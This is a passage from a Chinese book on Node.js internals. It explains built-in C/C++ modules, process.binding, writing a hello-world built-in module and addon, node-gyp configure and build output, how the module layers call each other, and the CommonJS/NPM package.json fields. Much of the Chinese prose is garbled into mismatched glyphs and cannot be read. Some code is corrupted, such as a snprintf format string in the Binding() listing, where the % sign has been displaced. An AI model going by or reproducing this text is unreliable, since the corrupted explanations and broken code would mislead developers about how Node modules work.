数组中ԨѢ这些ഴڰ。 
内तഴڰ的优势在于ὙᯪЎ，它们本ᢵ由C/C++编写，性能上优于脚本语言὚Ф次，在ᤈᛠ

஠͇编ដ时，它们ᜁ编ដᤈ̃ᤈ҃஠͇。一ெNode开始੯ᛠ，它们ᜁᄯ接加ᣑᤈ内ߚ中，௃ᮋв

次做ಕ识ቿ定ͮ、஠͇定ͮ、编ដኍ过程，ᄯ接就可੯ᛠ。 
 ߎᓎ῵ഫⱘᇐݙ .2
在Node的੝有ഴڰዜۋ中，ߚ在着ݟ图2-4੝ᇧ的一ሗΙᠺࡎጞ关系，Ԁ஠͇ഴڰ可能会Ι

ᠺನ心ഴڰ，ನ心ഴڰ可能会Ιᠺ内तഴڰ。 

 

图2-4 Ιᠺࡎጞ关系 

᤯࣡，不推荐஠͇ഴڰᄯ接ុ用内तഴݟ。ڰᭉុ用，ᄯ接ុ用ನ心ഴڰԀ可，因为ನ心ഴ

内部Ԫ量੊ழก࠭Ѣ，以Θ外部JavaScript࠱ʹݟ是ڰᥦ˥内तഴ。ڰᜈ了内तഴ࠯中۲本都ڰ
ನ心ഴុڰ用的փ὞ 

Node在ը动时，会生੆一个КࡌԪ量process，并ଡΘBinding()ழก౎Өү加ᣑ内तഴڰ。

Binding()的实ဗ̼ᆉ在src/node.cc中，Хͳݟ下੝ᇧὙ  

static Handle<Value> Binding(const Arguments& args) { 
  HandleScope scope; 
 
  Local<String> module = args[0]->ToString(); 
  String::Utf8Value module_v(module); 
  node_module_struct* modp; 
 
  if (binding_cache.IsEmpty()) { 
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    binding_cache = Persistent<Object>::New(Object::New()); 
  } 
 
  Local<Object> exports; 
 
  if (binding_cache->Has(module)) { 
    exports = binding_cache->Get(module)->ToObject(); 
    return scope.Close(exports); 
  } 
 
  // Append a string to process.moduleLoadList 
  char buf[1024]; 
  snprintf(buf, 1024, "Binding s", *module_v);%  
  uint32_t l = module_load_list->Length(); 
  module_load_list->Set(l, String::New(buf)); 
 
  if ((modp = get_builtin_module(*module_v)) != NULL) { 
    exports = Object::New(); 
    modp->register_func(exports); 
    binding_cache->Set(module, exports); 
 
  } else if (!strcmp(*module_v, "constants")) { 
    exports = Object::New(); 
    DefineConstants(exports); 
    binding_cache->Set(module, exports); 
 
#ifdef __POSIX__ 
  } else if (!strcmp(*module_v, "io_watcher")) { 
    exports = Object::New(); 
    IOWatcher::Initialize(exports); 
    binding_cache->Set(module, exports); 
#endif 
 
  } else if (!strcmp(*module_v, "natives")) { 
    exports = Object::New(); 
    DefineJavaScript(exports); 
    binding_cache->Set(module, exports); 
 
  } else { 
 
    return ThrowException(Exception::Error(String::New("No such module"))); 
  } 
 
  return scope.Close(exports); 
} 

在加ᣑ内तഴڰ时，我们Ў创त一个exportsቆ对៵，ཨ后ុ用get_builtin_module()ழกԨ

Ѣ内तഴڰ对៵，᤯过੯ᛠregister_func()܌Ќexports对៵，最后࠱exports对៵૊ഴڰՏᎀߚ，

并ᤄٿፋុ用ழ߸੆࠭Ѣ。 
这个ழก不仅可以࠭Ѣ内तழก，还能࠭Ѣ一些Ѿ的内ࠓ。前᭦ଡ到的JavaScriptನ心஠͇ᜁ
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ᣀ૰为C/C++数组ߚϱ后，Φ是᤯过process.binding('natives')ԨѢஉᎵ在NativeModule._ 

source中的Ὑ 

NativeModule._source = process.binding('natives'); 

ឞழก࠱᤯过js2c.py工Хᣀ૰Ѣ的ߙቿ˘数组ԨѢ，ཨ后᧗新ᣀ૰为௾᤯ߙቿ˘，以对

JavaScriptನ心ഴڰᤈᛠ编ដ֖੯ᛠ。 

2.3.3� Ḍᖗ῵ഫⱘᓩܹ⌕⿟ 

前᭦ᝮᤗ了ನ心ഴڰ的ԓူ，也解᧕了ನ心ഴڰ的ल入ᤳऎ为ʹ是最ঋ的。 
从图2-5੝ᇧ的osԓ生ഴڰ的ल入ึ程可以ᄹ到，为了ቿՋCommonJSഴڰ᜺ᔴ，从JavaScript

到C/C++的过程是相ॆ复杂的，它要经ԊC/C++ࡎ᭦的内तഴڰ定˦、（JavaScript）ನ心ഴڰ的

定˦֖ल入以Ԣ（JavaScript）஠͇ഴࡎڰ᭦的ल入。ͭ是对于用ਖ਼Ꮺ言，require()Ӡ分ኤผ、

友好。 

 

图2-5 osԓ生ഴڰ的ल入ึ程 

2.3.4� 㓪ݭḌᖗ῵ഫ 

ನ心ഴڰᜁ编ដᤈ̃ᤈ҃஠͇ᭉ要ᥕ९一定᜺Ѷ。作为Node的使用者，ࡉ管几˪没有机会ԟ

与ನ心ഴڰ的开发，ͭ是了解ݟʹ开发ನ心ഴڰ有ү于我们ఝ加深入ڠ了解Node。 
ನ心ഴڰ中的JavaScript部分几˪与஠͇ഴڰ的开发相Վ，ᥕ९CommonJSഴڰ᜺ᔴ，上
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下஠中ᬓ了઴有require、module、exports外，还可以ុ用Node中的一些КࡌԪ量，这᧖不

做ଠᤗ。 
下᭦我们以C/C++ഴڰ为Β໥ᇧݟʹ编写内तഴڰ。为了Φ于ူ解，我们Ў编写一个极Фኤ

Ӭ的JavaScriptྟ本的ԓۋ，这个ழกᤄٿ一个Hello world!ߙቿ˘Ὑ 

exports.sayHello = function () { 
  return 'Hello world!'; 
}; 

编写内तഴڰ᤯࣡分ˏ൥߸੆Ὑ编写ܿ஠͇֖编写C/C++஠͇。 
 உ到Node的src目े下Ὑߚ，为node_hello.hߚ以下̼ᆉγ࠱ (1)

#ifndef NODE_HELLO_H_ 
#define NODE_HELLO_H_ 
#include <v8.h> 
 
namespace node { 
  // ᇨ定义方法 
  v8::Handle<v8::Value> SayHello(const v8::Arguments& args); 
} 
#endif 

(2) 编写node_hello.cc，并ߚϱ到src目े下Ὑ 

#include <node.h> 
#include <node_hello.h> 
#include <v8.h> 
 
namespace node { 
 
using namespace v8; 
// 实现ᇨ定义的方法 
Handle<Value> SayHello(const Arguments& args) { 
  HandleScope scope; 
  return scope.Close(String::New("Hello world!")); 
} 
 
// 给传入的目Ք对象ཁ加sayHello方法 
void Init_Hello(Handle<Object> target) { 
  target->Set(String::NewSymbol("sayHello"), FunctionTemplate::New(SayHello)->GetFunction()); 
} 
 
} 
// 调用NODE_MODULE()将注֩方法定义ڟ内存中 
NODE_MODULE(node_hello, node::Init_Hello) 

以上ˏ൥߸੆了内तഴڰ的编写，ͭ是ᄽൣ要ᝧNode认为它是内तഴڰ，还ᭉ要ఝஇ

src/node_extensions.h ， 在 NODE_EXT_LIST_END 前 ຊ 加 NODE_EXT_LIST_ITEM(node_hello) ， 以 ࠱

node_helloഴڰຊ加ᤈnode_module_list数组中。 
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Ф次，还ᭉ要ᝧ编写的ˏ̼͊ᆉ编ដᤈ੯ᛠ஠͇，Վ时ᭉ要ఝஇNode的ᮉ目生੆஠͇

node.gyp，并在'target_name': 'node'ᓫཁ的sources中ຊ加上新编写的ˏ个஠͇。ཨ后编ដஞ个

Nodeᮉ目，Хͳ的编ដ൥ᰠ请ԟ᜸ᬃेA。 
编ដ֖߶ᜈ后，ᄯ接在̽֐ᛠ中ᤁᛠ以下̼ᆉ，࠱会३到యభ的஌౦Ὑ 

$ node 
> var hello = process.binding('hello'); 
undefined 
> hello.sayHello(); 
'Hello world!' 
>    

至൤，ԓ生编写过程中ᭉ要ซ਒的ጹᓫ都已ᛪᤗ过了。可以ᄹѢ，ኤӬ的ഴڰ᤯过JavaScript
౎编写可以大大ଡ高生产஌ည。这᧖我们写作本ᓫ的目的是࣎భ有能Ҧ的读者可以深入Node的ನ

心ഴڰ，Ԝ学习它੊者இᤈ它。 

2.4� C/C++ᠽሩ῵ഫ 

对于前端工程࣍౎ឬ，C/C++ੰࡘഴڰ੊᝴ඊᣖ生႟֖௼๩，ͭ是ݟ౦你了解了它，在ഴڰ

Ѣဗ性能ၪᮘ时࠱会对你有极大的ࣞү。 
JavaScript的一个Цۋिཁ就是ͮᤁኪ。JavaScript的ͮᤁኪԟཱJava的ͮᤁኪ实ဗ，ͭ是Java

ͮᤁኪ是在intۋ数ߙ的۲ᆨ上ᤈᛠ的，ᏪJavaScript中只有doubleۋ的数૵ዜۋ，在ᤈᛠͮᤁኪ

的过程中，ᭉ要࠱doubleۋᣀ૰为intۋ，ཨ后вᤈᛠ。੝以，在JavaScriptࡎ᭦上做ͮᤁኪ的஌

ည不高。 
在应用中，会ᮟጒѢဗͮᤁኪ的ᭉය，包括ᣀᆉ、编ᆉኍ过程，ݟ౦᤯过JavaScript౎实ဗ，

CPUᠪ源࠱会Ᏹ᠟很多，这时编写C/C++ੰࡘഴڰ౎ଡӣ性能的机会౎了。 
C/C++ੰࡘഴ࡚ڰ于஠͇ഴڰ中的一ዜ。前᭦ᝮᤗ஠͇ഴڰ的编ដ部分时ଡ到，C/C++ഴڰ

᤯过ᮔЎ编ដ为.node஠͇，ཨ后ុ用process.dlopen()ழก加ᣑ੯ᛠ。在这一ᓫ中，我们࠱分ౡ

ஞ个C/C++ੰࡘഴڰ的编写、编ដ、加ᣑ、࠭Ѣ的过程。 
在开始编写ੰࡘഴڰ之前，ᭉ要强ុ的一ཁ是，Node的ԓ生ഴڰ一定程ऎ上是可以ᡴࣰԻ的，

Ф前ଡ్͇是源̼ᆉ可以ஂ૆在*nix֖Windows上编ដ，Ф中*nix下᤯过g++/gccኍ编ដ٧编ដ为

动খᩖ接Р享对៵஠ （͇.so），在Windows下Ѷᭉ要᤯过Visual C++的编ដ٧编ដ为动খᩖ接ं஠

（͇.dll），ݟ图2-6੝ᇧ。这᧖有一个ᝧ人ᤙ৴的ڠழ，ᥦ就是ल用加ᣑ时ԁ是.node஠͇。Ф实.node
的ੰࡘՏ只是为了ᄹ起౎ఝ自ཨ一ཁ，不会因为ࣰԻࢿऩ产生不Վ的ਕ᜿。实ᬄ上，在Windows
下它是一个.dll஠͇，在*nix下Ѷ是一个.so஠͇。为了实ဗᡴࣰԻ，dlopen()ழก在内部实ဗ时区

分了ࣰԻ，分Ѿ用的是加ᣑ.so֖.dll的ழय。图2-6为ੰࡘഴڰ在不ՎࣰԻ上编ដ֖加ᣑ的សጹ 
过程。 

Ϙ३ซ਒的是，一个ࣰԻ下的.node஠͇在Բ一个ࣰԻ下是௃ก加ᣑ੯ᛠ的，ॸᮋ᧗新用Չ

自ࣰԻ下的编ដ٧编ដ为ൣᆷ的.node஠͇。  
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图2-6 ੰࡘഴڰ不ՎࣰԻ上的编ដ֖加ᣑ过程 

2.4.1� ࠡᦤᴵӊ 

还ᭉ要深ԑ的C/C++编程ҩऄ才ᛠ。ᬓ൤之外，以，ڰഴࡘੰ++౦想要编写高质量的C/Cݟ

下这些్目都是不能ᥗ开的，在了解它们之后，可以ᝧ你在编写过程中事Ӧҩυ。 
� GYP乍Ⳃ⫳៤Ꮉ݋Ǆ在Node 0.6中，ኃʻழഴڰ᤯过它自ᢵଡΘ的node_waf工Х实ဗ编ដ，

ͭ是它是*nixࣰԻ下的产ྫྷ，௃ก实ဗᡴࣰԻ编ដ。在Node 0.8中，Node决定୏प૿

node_wafᏪ᧓用ᡴࣰԻ஌౦ఝ好的ᮉ目生੆٧，它就是GYP工Х，ԀþGenerate Your 
ProjectsÿᆀԱ的᎕写。它的好ܪ在于，可以ࣞү你生੆Չ个ࣰԻ下的ᮉ目஠͇，ඊݟ

Windows下的Visual Studio解决ழ಴஠͇（.sln）、Mac下的XCodeᮉ目ᦠᎵ஠͇以ԢScons
工Х。在这个۲ᆨ上，в动用Չ自ࣰԻ下的编ដ٧编ដᮉ目。这大大ђ࠵了ᡴࣰԻഴڰ

在ᮉ目组织上的ዴҦઅ入。 
Node源ᆉ中一ऎѢဗ过Չሗᮉ目஠͇，后౎ڨ统一为GYP工Х。这ᬓ了可以ђ࠵编

写ᡴࣰԻᮉ目஠͇的工作量外，Բ一个ኤӬ的ԓ因就是Node自ᢵ的源ᆉ就是᤯过GYP编

ដ的。为൤，Nathan Rajlich۲于GYP为NodeଡΘ了一个˃有的ੰࡘౝत工Хnode-gyp，这

个工Х᤯过npm install -g node-gyp这个̽֐Ԁ可߶ᜈ。  
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� V8ᓩ᪢C++ᑧǄV8是Node自ᢵ的动Ҧ౎源之一。它自ᢵ由C++写੆，可以实ဗJavaScript
与C++的̈相ុ用。 

� libuvᑧǄ它是Node自ᢵ的动Ҧ౎源之̃。Node能ܴ实ဗᡴࣰԻ的一个᝻቎就是它的libuv
ं，这个ं是ᡴࣰԻ的一࠯ࡎᜈ，᤯过它Ԝុ用一些ऄࡎୱ作，ඊ自己在Չ个ࣰԻ下编

写实ဗ要高஌३多。libuv࠯ᜈ的ҩ能包括事͇९环、஠͇ୱ作ኍ。 
� Nodeݙ䚼ᑧǄ写C++ഴڰ时，Б不了要做一些᭦Փ对៵的编程工作，ᏪNode自ᢵଡΘ了

一些C++̼ᆉ，ඊݟnode::ObjectWrapዜ可以用౎包ᜈ你的自定˦ዜ，它可以ࣞү实ဗ对

 。收ኍ工作ٿ៵
� ݊ҪᑧǄФ他ߚ在deps目े下的ं在编写ੰࡘഴڰ时也᝴可以ࣞү你，ඊݟzlib、openssl、

http_parserኍ。 

2.4.2� C/C++ᠽሩ῵ഫⱘ㓪ݭ 

在̭ፀC/C++内तഴڰ时，Ф实已经̭ፀ了C/C++ഴڰ的编写ழय。௾᤯的ੰࡘഴڰ与内त

ഴڰ的区Ѿ在于௃ᮋ࠱源̼ᆉ编ដᤈNode，Ꮺ是᤯过dlopen()ழก动খ加ᣑ。੝以在编写௾᤯的

᧓用Վ一个Β࠱Տቆᫍ，也不ᭉ要ଡΘܿ஠͇。下᭦我们֐源̼ᆉ写ᤈnode࠱时，௃ᮋڰഴࡘੰ

 。的编写ڰഴࡘੰ++౎̭ፀC/Cߔ
它的JavaScriptԓ̼ۋᆉ与前᭦的Βߔ一样Ὑ 
exports.sayHello = function () { 
  return 'Hello world!'; 
}; 

新तhello目े作为自己的ᮉ目ͮᎵ，编写hello.cc并࠱Фߚϱ到src目े下，相关̼ᆉݟ下Ὑ 
#include <node.h> 
#include <v8.h> 
 
using namespace v8; 
// 实现ᇨ定义的方法 
Handle<Value> SayHello(const Arguments& args) { 
  HandleScope scope; 
  return scope.Close(String::New("Hello world!")); 
} 
 
// 给传入的目Ք对象ཁ加sayHello()方法 
void Init_Hello(Handle<Object> target) { 
  target->Set(String::NewSymbol("sayHello"), FunctionTemplate::New(SayHello)->GetFunction()); 
} 
// 调用NODE_MODULE()方法将注֩方法定义ڟ内存中 
NODE_MODULE(hello, Init_Hello) 

C/C++ੰࡘഴڰ与内तഴڰ的ݒᡸ一样，࠱ழกેᣑ在target对៵上，ཨ后᤯过NODE_MODULE

 。௙Ԁ可ܥ
由于不像编写内तഴڰᥦ样࠱对៵ܥ௙到node_module_listᩖᛪ中，੝以௃กᜁ认作是一个

ԓ生ഴڰ，只能᤯过dlopen()౎动খ加ᣑ，ཨ后࠭ѢፋJavaScriptុ用。 
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2.4.3� C/C++ᠽሩ῵ഫⱘ㓪䆥 

在GYP工Х的ࣞү下，C/C++ੰࡘഴڰ的编ដ是一͇ᄴ心的事情，௃ᮋ为ඇ个ࣰԻ编写不Վ

的ᮉ目编ដ஠͇。写好.gypᮉ目஠͇是ᬓ编ᆉ外的ܿኍ大事，ཨᏪ你也௃ᮋઝ心൤事ܹᬱ，因

为.gypᮉ目஠͇是ᡛܴኤӬ的。node-gypጝ定.gyp஠͇为binding.gyp，Ф内ݟࠓ下੝ᇧὙ 
{ 
  'targets': [ 
    { 
      'target_name': 'hello', 
      'sources': [ 
          'src/hello.cc' 
      ], 
      'conditions': [ 
          ['OS == "win"',  
          { 
              'libraries': ['-lnode.lib'] 
          } 
          ] 
      ] 
    } 
  ] 
} 

ཨ后ុ用Ὑ 
$ node-gyp configure 

会३到ݟ下的ᣤѢፆ౦Ὑ 
gyp info it worked if it ends with ok 
gyp info using node-gyp@0.8.3 
gyp info using node@0.8.14 | darwin | x64 
gyp info spawn python 
gyp info spawn args [ '/usr/local/lib/node_modules/node-gyp/gyp/gyp', 
gyp info spawn args   'binding.gyp', 
gyp info spawn args   '-f', 
gyp info spawn args   'make', 
gyp info spawn args   '-I', 
gyp info spawn args   '/Users/jacksontian/git/diveintonode/examples/02/addon/build/config.gypi', 
gyp info spawn args   '-I', 
gyp info spawn args   '/usr/local/lib/node_modules/node-gyp/addon.gypi', 
gyp info spawn args   '-I', 
gyp info spawn args   '/Users/jacksontian/.node-gyp/0.8.14/common.gypi', 
gyp info spawn args   '-Dlibrary=shared_library', 
gyp info spawn args   '-Dvisibility=default', 
gyp info spawn args   '-Dnode_root_dir=/Users/jacksontian/.node-gyp/0.8.14', 
gyp info spawn args   '-Dmodule_root_dir=/Users/jacksontian/git/diveintonode/examples/02/addon', 
gyp info spawn args   '--depth=.', 
gyp info spawn args   '--generator-output', 
gyp info spawn args   'build', 
gyp info spawn args   '-Goutput_dir=.' ] 
gyp info ok  
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node-gyp configure这个̽֐会在ॆ前目े中创तbuild目े，并生੆系统相关的ᮉ目஠͇。  
在*nixࣰԻ下，build目े中会ѢဗMakefileኍ஠͇὚在Windows下，Ѷ会生੆vcxprojኍ஠͇。 
继续੯ᛠݟ下̼ᆉὙ 

$ node-gyp build 

会३到ݟ下的ᣤѢፆ౦Ὑ 

gyp info it worked if it ends with ok 
gyp info using node-gyp@0.8.3 
gyp info using node@0.8.14 | darwin | x64 
gyp info spawn make 
gyp info spawn args [ 'BUILDTYPE=Release', '-C', 'build' ] 
  CXX(target) Release/obj.target/hello/hello.o 
  SOLINK_MODULE(target) Release/hello.node 
  SOLINK_MODULE(target) Release/hello.node: Finished 
gyp info ok 

编ដ过程会಩૵ࣰԻ不Վ，分Ѿ᤯过make੊vcbuildᤈᛠ编ដ。编ដ߸੆后，hello.node஠͇

会生੆在build/Release目े下。 

2.4.4� C/C++ᠽሩ῵ഫⱘࡴ䕑 

३到hello.nodeፆ౦஠͇后，ݟʹុ用ੰࡘഴڰФ实在前᭦已经ଡԢ。require()ழก᤯过解

ౡಕ识ቿ、ᡸफ़分ౡ、஠͇定ͮ，ཨ后加ᣑ੯ᛠԀ可。下᭦的̼ᆉल入前᭦编ដ३到的.node஠

͇，并ុ用੯ᛠФ中的ழกὙ 

var hello = require('./build/Release/hello.node'); 
 
console.log(hello.sayHello()); 

以上̼ᆉߚ为hello.js，ុ用node hello.js̽֐Ԁ可३到ݟ下的ᣤѢፆ౦Ὑ 

Hello world! 

对于以.node为ੰࡘՏ的஠͇，Node࠱会ុ用process.dlopen()ழกԜ加ᣑ஠͇Ὑ 

//Native extension for .node 
Module._extensions['.node'] = process.dlopen; 

对于ុ用者Ꮺ言，require()是ᣏౚਏঋ的。对于ੰࡘഴڰ的编写者౎ឬ，process.dlopen()

中ᬤդ的过程Ϙ३了解一႖。 
 。᭦上的ុ用ࡎ图2-7੝ᇧ，require()在ल入.node஠͇的过程中，实ᬄ上经Ԋ了4个ݟ
加ᣑ.node஠͇实ᬄ上经Ԋ了ˏ个൥ᰠ，ኃ一个൥ᰠ是ុ用uv_dlopen()ழกԜ੩开动খᩖ接

ं，ኃ̃个൥ᰠ是ុ用uv_dlsym()ழก੼到动খᩖ接ं中᤯过NODE_MODULE߹定˦的ழกڦڠ。这

ˏ个过程都是᤯过libuvंᤈᛠ࠯ᜈ的Ὑ在*nixࣰԻ下实ᬄ上ុ用的是dlfcn.hܿ஠͇中定˦的

dlopen()֖dlsym()ˏ个ழก὚在WindowsࣰԻѶ是᤯过LoadLibraryExW()֖GetProcAddress()这ˏ

个ழก实ဗ的，它们分Ѿ加ᣑ.so֖.dll஠͇（实ᬄ为.node஠͇）。 
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图2-7 require()ल入.node஠͇的过程 

这᧖对libuvѥ数的ុ用Ќ分ᛪဗNodeѽ用libuv实ဗᡴࣰԻ的ழय，这样的情景在很多ڠழ

还会Ѣဗ。 
由于编写ഴڰ时᤯过NODE_MODULE࠱ഴڰ定˦为node_module_structፆౝ，੝以在ᖌԨѥ数ڠ

入的͛࠱为node_module_structፆౝ几˪是௃ᎊ对接的。接下౎的过程就是࠰它௡࠱，之后ڦ

exports对៵作为实ԟᤁᛠ，࠱C++中定˦的ழกેᣑ在exports对៵上，ཨ后ុ用者就可以ᣏౚ

ុ用了。 
C/C++ੰࡘഴڰ与JavaScriptഴڰ的区Ѿ在于加ᣑ之后不ᭉ要编ដ，ᄯ接੯ᛠ之后就可以ᜁ外

部ុ用了，Ф加ᣑᤳऎඊJavaScriptഴڰ႔ঋ。 
使用C/C++ੰࡘഴڰ的一个好ܪ在于可以ఝ灵活֖动খڠ加ᣑ它们，γ૆Nodeഴڰ自ᢵኤӬ

性的Վ时，ፋ̀Node௃ᬌ的可ੰࡘ性。 
关 于 node-gyp工 Х 的 ఝ 多 ጹ ᓫ 可 以ԟ ᜸ https://github.com/TooTallNate/node-gyp（ 作 者 为

Nathan Rajlich，Node源ᆉ的ನ心贡献者之一）。 

2.5� ῵ഫ䇗⫼ᷜ 

ፆో஠͇ഴڰ、ನ心ഴڰ、内तഴڰ、C/C++ੰࡘഴڰኍ的᫧ᤗ之后，有ॸ要௙ᆷ一下Չሗ

ഴڰ之ᫍ的ុ用关系，ݟ图2-8੝ᇧ。  
C/C++内तഴ࡚ڰ于最ऄࡎ的ഴڰ，它࡚于ನ心ഴڰ，˞要ଡΘAPIፋJavaScriptನ心ഴ֖ڰ

ኃʻழJavaScript஠͇ഴុڰ用。ݟ౦你不是᭣࣡了解要ុ用的C/C++内तഴڰ，请ࡉ量ᥗБ᤯过

process.binding()ழกᄯ接ុ用，这是不推荐的。 
JavaScriptನ心ഴڰ˞要ੵ໥的ᐋ᠉有ˏዜὙ一ዜ是作为C/C++内तഴڰ的࠯ᜈ֖ࡎೃ接ࡎ，

Θ஠͇ഴុڰ用὚一ዜ是ጥዱ的ҩ能ഴڰ，它不ᭉ要ᡱऄࡎ੩̓᥊，ͭ是ԠӠ分᧗要。 
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图2-8 ഴڰ之ᫍ的ុ用关系 

஠͇ഴڰ᤯࣡由ኃʻழ编写，包括௾᤯JavaScriptഴ֖ڰC/C++ੰࡘഴڰ，˞要ុ用ழՓ为௾

᤯JavaScriptഴុڰ用ੰࡘഴڰ。 

2.6� ࣙϢ NPM 

Node组织了自ᢵ的ನ心ഴڰ，也使३ኃʻழ஠͇ഴڰ可以有序ڠ编写֖使用。ͭ 是在ኃʻழ

ഴڰ中，ഴڰ与ഴڰ之̮ᫍཨ是஘Ѵ在Չڠ的，相̈之ᫍ不能ᄯ接ल用。Ꮺ在ഴڰ之外，包֖

NPMѶ是࠱ഴڰᐎ系起౎的一ሗ机҃。  
在̭ፀNPM之前，不३不ଡ起CommonJS的包᜺ᔴ。JavaScript不ͪJava੊者Ф他语言ᥦ样，

Х有ഴ֖ڰ包ፆౝ。Node对ഴڰ᜺ᔴ的实ဗ，一定程ऎ上解决了Ԫ量Ιᠺ、Ιᠺ关系ኍ̼ᆉ组

织性问题。包的Ѣဗ，Ѷ是在ഴڰ的۲ᆨ上ᤈ一൥组织JavaScript̼ᆉ。图2-9为包组织ഴڰᇧ

਒图。 

 

图2-9 包组织ഴڰᇧ਒图 
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CommonJS的包᜺ᔴ的定˦Ф实也Ӡ分ኤӬ，它由包ፆౝ֖包ଠᤗ஠͇ˏ个部分组੆，前者

用于组织包中的Չሗ஠͇，后者Ѷ用于ଠᤗ包的相关信ো，以Θ外部读Ԩ分ౡ。 

2.6.1� ࣙ㒧ᵘ 

包实ᬄ上是一个ߚು஠͇，Ԁ一个目ेᄯ接੩包为.zip੊tar.gzಪय的஠͇，߶ᜈ后解Ԍ还ԓ

为目े。߸КቿՋCommonJS᜺ᔴ的包目े应ឞ包դݟ下这些஠͇。 
� package.jsonὙ包ଠᤗ஠͇。 
� binὙ用于ߚஉ可੯ᛠ̃ᤈ҃஠͇的目े。 
� libὙ用于ߚஉJavaScript̼ᆉ的目े。 
� docὙ用于ߚஉ஠ು的目े。 
� testὙ用于ߚஉӬЊ测试用Β的̼ᆉ。 
可以ᄹ到，CommonJS包᜺ᔴ从஠ು、测试ኍழ᭦都做过Ꮵᘼ。ॆ 一个包߸੆后Փ外М࣊时，

用ਖ਼ᄹ到ӬЊ测试֖஠ು的时候，会ፋ他们一ሗᢅ实可᭤的ਕ᜿。 

2.6.2� ࣙᦣ䗄᭛ӊϢNPM 

包ଠᤗ஠͇用于ᛪ᣹᭣̼ᆉ相关的信ো，它是一个JSONಪय的஠͇úúpackage.json，ͮ于

包的಩目े下，是包的᧗要组੆部分。ᏪNPM的੝有ᛠ为都与包ଠᤗ஠͇的ߙൿোো相关。由于

CommonJS包᜺ᔴܪ࠺于ᕘ಴᫼ൿ，NPM在实践中做了一定的Ԩᒻ，Хͳጹᓫ在后᭦会̭ፀ到。 
CommonJS为package.json஠͇定˦了ݟ下一些ॸᭉ的ߙൿ。 
� name。包Տ。᜺ᔴ定˦它ᭉ要由小写的ߙආ֖数ߙ组੆，可以包դ.、_֖-，ͭ不Љ᝴Ѣ

ဗቆಪ。包Տॸᮋ是׬一的，以Б对外М࣊时产生᧗Տу቉的ឧ解。ᬓ൤之外，NPM还

तᝫ不要在包Տ中ᬃࣛ上node੊js౎᧗复ಕ识它是JavaScript੊Nodeഴڰ。 
� description。包ኤ̭。 
� version。ྟ本Ձ。一个语˦Ӑ的ྟ本Ձ，这在http://semver.org/上有សጹ定˦，᤯࣡为

major.minor.revisionಪय。ឞྟ本ՁӠ分᧗要，࣡࣡用于一些ྟ本ଌ҃的场Ջ。 
� keywords。关᪃ជ数组，NPM中˞要用౎做分ዜ଼索。一个好的关᪃ជ数组有ѽ于用ਖ਼

ঋᤳ੼到你编写的包。  
� maintainers。包፤એ者Ѵᛪ。ඇ个፤એ者由name、email֖web这3个࡚性组੆。ᇧΒݟ下Ὑ 

"maintainers": [{ "name": "Jackson Tian", "email": "shyvo1987@gmail.com", "web": "http://html5ify. 

com" }]  

NPM᤯过ឞ࡚性ᤈᛠాᬌ认᝼。 
� contributors。贡献者Ѵᛪ。在开源社区中，为开源ᮉ目ଡΘ̼ᆉ是经࣡Ѣဗ的事情，ݟ

౦Տߙ能Ѣဗ在ᅻՏᮉ目的contributorsѴᛪ中，是一͇ඊᣖ有ᕥ᝗ਕ的事。Ѵᛪ中的ኃ

一个贡献应ॆ是包的作者本人。它的ಪय与፤એ者Ѵᛪ相Վ。 
� bugs。一个可以反ᯟbug的网页ڦڠ੊ᥪ͇ڦڠ。 
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� licenses。ॆ前包੝使用的᝴可᝼Ѵᛪ，ᛪᇧ这个包可以在ג些᝴可᝼下使用。它的ಪय

 下Ὑݟ
"licenses": [{ "type": "GPLv2", "url": "http://www.example.com/licenses/gpl.html", }] 

� repositories。托管源̼ᆉ的ͮᎵѴᛪ，ᛪ௙可以᤯过ג些ழय֖ڦڠ᝺问包的源̼ᆉ。 
� dependencies。使用ॆ前包੝ᭉ要Ιᠺ的包Ѵᛪ。这个࡚性Ӡ分᧗要，NPM会᤯过这个࡚

性ࣞү自动加ᣑΙᠺ的包。  
ᬓ了ॸᤤߙൿ外，᜺ᔴ还定˦了一部分可ᤤߙൿ，Хͳݟ下੝ᇧ。 
� homepage。ॆ前包的网ቢڦڠ。 
� os。ୱ作系统ஂ૆Ѵᛪ。这些ୱ作系统的ԨϘ包括aix、freebsd、linux、macos、solaris、

vxworks、windows。ݟ౦᝹Ꮅ了Ѵᛪ为ቆ，Ѷ不对ୱ作系统做͉ʹϛ᝹。 
� cpu。CPU౵ౝ的ஂ૆Ѵᛪ，有஌的౵ౝՏሥ有arm、mips、ppc、sparc、x86֖x86_64。Վ

os一样，ݟ౦Ѵᛪ为ቆ，Ѷ不对CPU౵ౝ做͉ʹϛ᝹。 
� engine。ஂ૆的JavaScriptल୲Ѵᛪ，有஌的ल୲ԨϘ包括ejs、flusspferd、gpsee、jsc、

spidermonkey、narwhal、node֖v8。 
� builtin。ಕংॆ前包是否是内त在ऄࡎ系统的ಕэ组͇。 
� directories。包目ेឬ௙。 
� implements。实ဗ᜺ᔴ的Ѵᛪ。ಕংॆ前包实ဗ了CommonJS的ג些᜺ᔴ。 
� scripts。脚本ឬ௙对៵。它˞要ᜁ包管ူ٧用౎߶ᜈ、编ដ、测试֖Ԅᣑ包。ᇧΒݟ下Ὑ 

"scripts": { "install": "install.js",   
  "uninstall": "uninstall.js",  
  "build": "build.js",  
  "doc": "make-doc.js",  
  "test": "test.js" } 

包᜺ᔴ的定˦可以ࣞүNode解决Ιᠺ包߶ᜈ的问题，ᏪNPMൣ是۲于ឞ᜺ᔴᤈᛠ了实ဗ。

最初，NPM工Х是由Isaac Z. SchlueterӬ࿗创त，ଡΘፋNode服务的Node包管ူ٧，ᭉ要Ӭ࿗߶

ᜈ。后౎，在v0.6.3ྟ本时ᬶ੆ᤈNode中作为᳭认包管ူ٧，作为ᣃ͇包的一部分一起߶ᜈ。之

后，Isaac Z. Schlueter也੆为Node的ଁ门人。 
在包ଠᤗ஠͇的᜺ᔴ中，NPM实ᬄᭉ要的ߙൿ˞要有name、version、description、keywords、

repositories、author、bin、main、scripts、engines、dependencies、devDependencies。 
与包᜺ᔴ的区Ѿ在于多了author、bin、main֖devDependencies这4个ߙൿ，下᭦补Ќឬ௙一下。 
� author。包作者。 
� bin。一些包作者࣎భ包可以作为̽֐ᛠ工Х使用。ᦠᎵ好binߙൿ后，᤯过npm install 

package_name -g̽֐可以࠱脚本ຊ加到੯ᛠᡸफ़中，之后可以在̽֐ᛠ中ᄯ接੯ᛠ。前

᭦的node-gypԀ是这样߶ᜈ的。᤯过-g̽֐߶ᜈ的ഴڰ包ሥ为Кࡌഴय。 
� main。ഴڰल入ழกrequire()在ल入包时，会优Ў೜ಉ这个ߙൿ，并࠱Ф作为包中Ф余

